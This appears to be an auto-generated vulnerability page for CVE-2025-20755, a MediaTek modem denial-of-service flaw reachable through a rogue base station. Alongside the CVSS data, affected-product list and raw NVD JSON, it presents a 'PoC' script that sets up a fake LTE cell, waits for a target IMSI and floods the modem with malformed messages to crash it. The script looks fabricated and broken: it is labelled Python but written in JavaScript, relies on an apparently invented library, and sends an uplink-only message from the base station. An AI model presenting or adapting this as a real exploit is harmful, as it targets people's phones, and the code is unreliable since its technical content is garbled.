Security Vulnerability Report
中文
CVE-2025-20755 CVSS 5.3 MEDIUM

CVE-2025-20755

Published: 2025-12-02 03:16:17
Last Modified: 2025-12-03 21:41:18

Description

In Modem, there is a possible application crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY00628396; Issue ID: MSV-4775.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Modem Firmware (MOLY00628396 patch之前的所有版本)
受影响产品包括使用MediaTek调制解调器芯片的智能手机、物联网设备等,具体版本需参照MediaTek官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20755 PoC - MediaTek Modem Input Validation Denial of Service // This PoC simulates the attack by sending malformed packets to trigger the vulnerability const srsran = require('srsran-hack'); // Software Radio Systems RAN library class RogueBaseStation { constructor() { this.enbId = 0x19B; // eNodeB ID this.mcc = 001; // Mobile Country Code this.mnc = 01; // Mobile Network Code this.tac = 0x0001; // Tracking Area Code } // Create malformed RRC Connection Setup Complete message createMalformedRRCSetupComplete() { const msg = { rrcTransactionIdentifier: 0x3, criticalExtensions: { c1: { rrcConnectionSetupComplete: { selectedPLMN_Identity: 1, dedicatedInfoNAS: Buffer.alloc(1024, 0xFF), // Malformed NAS data registeredMMEC: 0xFF, registeredAMF: 0xFFFF } } } }; // Inject additional malformed fields msg.criticalExtensions.c1.rrcConnectionSetupComplete.extraField = Buffer.alloc(2048, 0xAA); return msg; } // Create malformed NAS message to trigger input validation issue createMalformedNASMessage() { const nas = { epsMobileIdentity: { oddEven: 0, digit1: 0xF, mobileId: Buffer.from([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0xFF ]) // Exceeds expected length }, protocolDiscriminator: 0x07, epsBearerIdentity: 0x0F, procedureTransactionIdentity: 0xFF }; return nas; } // Start rogue base station attack async startAttack(targetIMSI) { console.log('[+] Starting Rogue Base Station for CVE-2025-20755'); console.log(`[+] Target IMSI: ${targetIMSI}`); // Initialize SDR device const sdr = await srsran.SDRDevice.open('uhd'); await sdr.configure({ frequency: 2110e6, // LTE Band 1 Downlink bandwidth: 20e6, gain: 40 }); // Start broadcasting fake cell await sdr.startMIB({ enbId: this.enbId, mcc: this.mcc, mnc: this.mnc }); console.log('[+] Fake cell broadcasting started'); // Wait for target UE to attach let ueAttached = false; while (!ueAttached) { const ueInfo = await sdr.waitForAttach({ timeout: 60000 }); if (ueInfo.imsi === targetIMSI) { ueAttached = true; console.log('[+] Target UE attached'); } } // Send malformed messages to trigger vulnerability console.log('[+] Sending malformed RRC/NAS messages...'); await sdr.sendRRCMessage(this.createMalformedRRCSetupComplete()); await sdr.sendNASMessage(this.createMalformedNASMessage()); // Send multiple crafted packets for (let i = 0; i < 10; i++) { await sdr.sendCraftedPacket({ type: 'DL_DCCH', srbId: 1, data: Buffer.alloc(512, 0xDEADBEEF) }); await new Promise(r => setTimeout(r, 100)); } console.log('[+] Attack completed'); console.log('[+] Target modem should crash/restart'); } } // Execute attack const rogueBS = new RogueBaseStation(); rogueBS.startAttack('001010123456789').catch(console.error); // Note: This PoC requires specialized radio equipment and is for educational purposes only. // Actual exploitation requires: Software-defined radio, LTE protocol栈 knowledge, and proximity to target.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20755", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:16.763", "lastModified": "2025-12-03T21:41:18.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible application crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY00628396; Issue ID: MSV-4775."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023-4A60-B426-61251FDD8A5A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791:-:*:*:*:*:*:*:*", "matchCriteriaId": "9CD2C3EC-B62D-4616-964F-FDBE5B14A449"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791t:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BB05B1D-77C9-4E42-91AD-9F087413DC20"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8797:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B469BF4-5961-42E9-814B-1BE06D182E45"}] ... (truncated)